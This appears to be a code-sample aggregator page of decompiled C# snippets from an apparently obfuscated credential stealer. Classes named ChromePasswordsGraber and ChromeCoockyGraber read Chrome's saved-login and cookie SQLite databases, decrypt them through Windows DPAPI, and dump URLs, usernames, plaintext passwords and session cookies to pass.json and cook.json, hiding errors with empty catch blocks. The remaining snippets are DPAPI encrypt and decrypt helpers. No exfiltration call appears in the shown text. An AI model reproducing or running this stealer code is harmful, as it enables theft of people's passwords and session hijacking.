public void GetPSW(string db_way, string _path = "pass.json")
 {
     try
     {
         byte[]    entropyBytes = (byte[])null;
         string    str1         = "logins";
         string    str2         = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
         DataTable dataTable    = new DataTable();
         using (SQLiteConnection sqLiteConnection = new SQLiteConnection(str2))
         {
             ((DbDataAdapter) new SQLiteDataAdapter(new SQLiteCommand(string.Format("SELECT * FROM {0} {1} {2}", (object)str1, (object)"", (object)""), sqLiteConnection))).Fill(dataTable);
             int count = dataTable.Rows.Count;
             for (int index = 0; index < count; ++index)
             {
                 string description;
                 byte[] bytes = SQB.Decrypt((byte[])dataTable.Rows[index][5], entropyBytes, out description);
                 this.Array.Add(new ChromePasswordsGraber.Data()
                 {
                     url      = dataTable.Rows[index][1].ToString(),
                     password = new UTF8Encoding(true).GetString(bytes),
                     login    = dataTable.Rows[index][3].ToString()
                 });
             }
         }
     }
     catch
     {
     }
     this.ToFile(_path);
 }
Ejemplo n.º 2
0
 public static string Decrypt(string cipherText, string entropy, out string description)
 {
     if (entropy == null)
     {
         entropy = string.Empty;
     }
     return(Encoding.UTF8.GetString(SQB.Decrypt(Convert.FromBase64String(cipherText), Encoding.UTF8.GetBytes(entropy), out description)));
 }
Ejemplo n.º 3
0
 public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
 {
     SQB.DATA_BLOB pPlainText = new SQB.DATA_BLOB();
     SQB.DATA_BLOB dataBlob1  = new SQB.DATA_BLOB();
     SQB.DATA_BLOB dataBlob2  = new SQB.DATA_BLOB();
     SQB.CRYPTPROTECT_PROMPTSTRUCT cryptprotectPromptstruct = new SQB.CRYPTPROTECT_PROMPTSTRUCT();
     SQB.InitPrompt135151531(ref cryptprotectPromptstruct);
     description = string.Empty;
     try
     {
         try
         {
             SQB.InitBLOB135151(cipherTextBytes, ref dataBlob1);
         }
         catch (Exception ex)
         {
             throw new Exception("Cannot initialize ciphertext BLOB.", ex);
         }
         try
         {
             SQB.InitBLOB135151(entropyBytes, ref dataBlob2);
         }
         catch (Exception ex)
         {
             throw new Exception("Cannot initialize entropy BLOB.", ex);
         }
         int dwFlags = 1;
         if (!SQB.CryptUnprotectData(ref dataBlob1, ref description, ref dataBlob2, IntPtr.Zero, ref cryptprotectPromptstruct, dwFlags, ref pPlainText))
         {
             throw new Exception("CryptUnprotectData failed.", (Exception) new Win32Exception(Marshal.GetLastWin32Error()));
         }
         byte[] destination = new byte[pPlainText.cbData2184741874];
         Marshal.Copy(pPlainText.pbData, destination, 0, pPlainText.cbData2184741874);
         return(destination);
     }
     catch (Exception ex)
     {
         throw new Exception("DPAPI was unable to decrypt data.", ex);
     }
     finally
     {
         if (pPlainText.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(pPlainText.pbData);
         }
         if (dataBlob1.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dataBlob1.pbData);
         }
         if (dataBlob2.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dataBlob2.pbData);
         }
     }
 }
Ejemplo n.º 4
0
 public static string Encrypt(SQB.KeyType3151531 keyType, string plainText, string entropy, string description)
 {
     if (plainText == null)
     {
         plainText = string.Empty;
     }
     if (entropy == null)
     {
         entropy = string.Empty;
     }
     return(Convert.ToBase64String(SQB.Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description)));
 }
    public void GetCoocky(string db_way = "Cookies", string _path = "cook.json")
    {
        byte[]    entropyBytes = (byte[])null;
        string    str1         = "Cookies";
        string    str2         = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
        DataTable dataTable    = new DataTable();

        using (SQLiteConnection sqLiteConnection = new SQLiteConnection(str2))
        {
            ((DbDataAdapter) new SQLiteDataAdapter(new SQLiteCommand(string.Format("SELECT * FROM {0} {1} {2}", (object)str1, (object)"", (object)""), sqLiteConnection))).Fill(dataTable);
            int count = dataTable.Rows.Count;
            for (int index = 0; index < count; ++index)
            {
                string description;
                string str3 = new UTF8Encoding(true).GetString(SQB.Decrypt((byte[])dataTable.Rows[index][12], entropyBytes, out description));
                try
                {
                    ChromeCoockyGraber.Data data = new ChromeCoockyGraber.Data();
                    DataRow row = dataTable.Rows[index];
                    data.domain         = dataTable.Rows[index][1].ToString();
                    data.expirationDate = Convert.ToDouble(dataTable.Rows[index][5]);
                    data.secure         = Convert.ToBoolean(Convert.ToInt32(dataTable.Rows[index][6]));
                    data.httpOnly       = Convert.ToBoolean(Convert.ToInt32(dataTable.Rows[index][7]));
                    data.hostOnly       = false;
                    data.session        = false;
                    data.storeId        = "0";
                    data.name           = dataTable.Rows[index][2].ToString();
                    data.value          = str3;
                    data.path           = dataTable.Rows[index][4].ToString();
                    data.id             = this.CoockyMas.Count;
                    this.CoockyMas.Add(data);
                }
                catch
                {
                }
            }
        }
        this.CoockyToFile(_path);
    }
Ejemplo n.º 6
0
 public static byte[] Encrypt(SQB.KeyType3151531 keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
 {
     if (plainTextBytes == null)
     {
         plainTextBytes = new byte[0];
     }
     if (entropyBytes == null)
     {
         entropyBytes = new byte[0];
     }
     if (description == null)
     {
         description = string.Empty;
     }
     SQB.DATA_BLOB dataBlob1   = new SQB.DATA_BLOB();
     SQB.DATA_BLOB pCipherText = new SQB.DATA_BLOB();
     SQB.DATA_BLOB dataBlob2   = new SQB.DATA_BLOB();
     SQB.CRYPTPROTECT_PROMPTSTRUCT cryptprotectPromptstruct = new SQB.CRYPTPROTECT_PROMPTSTRUCT();
     SQB.InitPrompt135151531(ref cryptprotectPromptstruct);
     try
     {
         try
         {
             SQB.InitBLOB135151(plainTextBytes, ref dataBlob1);
         }
         catch (Exception ex)
         {
             throw new Exception("Cannot initialize plaintext BLOB.", ex);
         }
         try
         {
             SQB.InitBLOB135151(entropyBytes, ref dataBlob2);
         }
         catch (Exception ex)
         {
             throw new Exception("Cannot initialize entropy BLOB.", ex);
         }
         int dwFlags = 1;
         if (keyType == SQB.KeyType3151531.MachineKey)
         {
             dwFlags |= 4;
         }
         if (!SQB.CryptProtectData(ref dataBlob1, description, ref dataBlob2, IntPtr.Zero, ref cryptprotectPromptstruct, dwFlags, ref pCipherText))
         {
             throw new Exception("CryptProtectData failed.", (Exception) new Win32Exception(Marshal.GetLastWin32Error()));
         }
         byte[] destination = new byte[pCipherText.cbData2184741874];
         Marshal.Copy(pCipherText.pbData, destination, 0, pCipherText.cbData2184741874);
         return(destination);
     }
     catch (Exception ex)
     {
         throw new Exception("DPAPI was unable to encrypt data.", ex);
     }
     finally
     {
         if (dataBlob1.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dataBlob1.pbData);
         }
         if (pCipherText.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(pCipherText.pbData);
         }
         if (dataBlob2.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dataBlob2.pbData);
         }
     }
 }
Ejemplo n.º 7
0
 public static string Encrypt(SQB.KeyType3151531 keyType, string plainText, string entropy)
 {
     return(SQB.Encrypt(keyType, plainText, entropy, string.Empty));
 }
Ejemplo n.º 8
0
 public static string Encrypt(string plainText)
 {
     return(SQB.Encrypt(SQB.defaultKeyType, plainText, string.Empty, string.Empty));
 }
Ejemplo n.º 9
0
 public static string Decrypt(string cipherText, out string description)
 {
     return(SQB.Decrypt(cipherText, string.Empty, out description));
 }